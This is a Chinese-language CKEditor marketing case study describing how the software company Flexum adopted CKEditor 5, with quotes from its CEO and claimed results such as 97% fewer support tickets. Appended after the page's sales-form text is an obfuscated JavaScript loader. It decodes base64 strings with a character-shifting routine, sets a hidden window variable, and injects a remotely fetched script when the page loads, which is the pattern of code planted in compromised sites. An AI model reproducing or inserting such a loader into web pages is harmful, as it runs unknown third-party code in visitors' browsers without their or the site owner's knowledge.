报告:2024 年 协作编辑现状

获取有关 RTE 中协作趋势和未来的见解 现在下载

立即阅读

Flexum

CKEditor 如何将支持工单减少 97% 并为 Flexum 节省数月的开发时间。

查看所有案例研究

所有信息截至原始发布时均正确。

公司

Flexum

行业

软件开发

位置

乌克兰利沃夫(全球)

Myron Mavko

CKEditor 5 提供了坚实的架构,具有高质量的源代码和灵活的方法。这使得编辑器高度可定制,允许您实现任何需要的东西。

迈伦·马夫科

Flexum 首席执行官

成果

97%

更少的支持工单

节省了数月的自定义开发工作

可定制的编辑器,以适应各种客户

领先的协作编辑功能

稳定的所见即所得,适合现代技术堆栈

专业支持和文档

挑战

构建功能强大的应用程序,具有现代富文本编辑器

Flexum 是一家软件开发公司,为全球客户设计、构建和支持定制应用程序和产品。他们为各种客户交付了各种软件——从初创公司到知名品牌。无论规模大小,每个项目的目标都是始终按时并在预算内交付稳定的解决方案。

但是,在文本编辑方面,客户和用户现在对它的期望比以前更高。“以前,我们习惯了简单的文本格式选项,比如斜体、粗体和插入链接,”Flexum 联合创始人兼首席执行官迈伦·马夫科说。“我们现在处理交互式和多媒体内容、复杂布局和实时协作。构建这些体验需要专业知识和仔细的实施。”

从头开始构建他们自己的自定义富文本编辑器根本不在任何单个项目的范围或预算之内。

Flexum 需要一个富文本编辑器,它

  • 专为协作编辑而设计
  • 准备好进行多媒体上传和复杂布局
  • 模块化且无限可定制
  • 稳定且适合现代技术堆栈
  • 有充分的文档记录和专业支持

为了满足客户想要在他们的应用程序中获得更现代、更具协作性的编辑体验(如 Google Docs),迈伦研究了主要的富文本编辑器。他发现只有一个编辑器满足了他的所有标准。“CKEditor 5 是唯一提供完整解决方案的选择。”

CKEditor 5 被证明是一个全面可靠的解决方案。它的架构、源代码质量和文档令人印象深刻。

解决方案

一个可定制的所见即所得编辑器,内置协作功能

当客户在其项目中需要现代富文本编辑器时,Flexum 现在转向 CKEditor 5。模块化插件意味着该团队可以使用项目所需的精确功能配置编辑器——没有多余的东西。CKEditor 5 的无限定制选项也扩展到 UI,因此它可以适应每个客户品牌的视觉效果。

在使用 CKEditor 5 完成一个项目后,它成为所有未来项目的明显选择。“从我们的角度来看,它是理想的解决方案。它已成为我们的首选,我们没有理由不使用它,”迈伦说。

不同的项目需要不同的功能,因此 Flexum 熟悉各种 CKEditor 5 插件。当被要求说出最喜欢的插件时,迈伦选择了几个,包括高级实时协作功能,如跟踪更改、评论和修订历史记录。“我们也真的很感谢与表格相关的插件集——它们非常广泛且灵活。”

我们提供了什么

一个专为现代技术堆栈而设计的模块化所见即所得编辑器

评论(高级)

跟踪更改(高级)

修订历史记录(高级)

媒体嵌入

表格

结果

节省了数月的自定义开发工作

Myron 说,从头开始构建像 CKEditor 5 这样的解决方案对 Flexum 来说将是一项巨大的工作。 “这绝对需要几个月的时间,”他说。 - 构建一个模块化的、以协作为中心的富文本编辑器是一项艰巨的任务。 “这需要大量的努力,而且在实现之后,你需要让它稳定。因此,这也需要数月的测试、修复错误和稳定,”Myron 说。 对于大多数客户来说,这种开发时间是不合理的。

Flexum 的客户及其用户也喜欢 CKEditor 5。 “尽管平台上有许多用户,但我们几乎没有收到任何投诉,”Myron 说。 “在解决了一些最初的问题之后,我们不再收到任何投诉、问题或错误报告。 这一切都要归功于出色的代码库和核心库。”

有了这样的成果,Myron 和他的团队期待在未来的项目中利用他们 “在 CKEditor 方面的丰富经验”。

一切都已实现并经过全面测试,确保提供高质量的解决方案。 如果我们自己构建,要达到这种质量水平,将需要大量的时间和精力。

分享

了解 CKEditor 可以为您做什么

值得信赖和认可

您好,您对产品或定价有任何问题吗?

关于我们 产品或定价 的问题?

联系我们的 销售代表

表单内容字段

表单提交

HiddenGatedContent。
隐藏未使用的字段。

我们很乐意
收到您的来信!

感谢您联系 CKEditor 销售团队。 我们已收到您的留言,并将尽快与您联系。

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://127.0.0.1/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });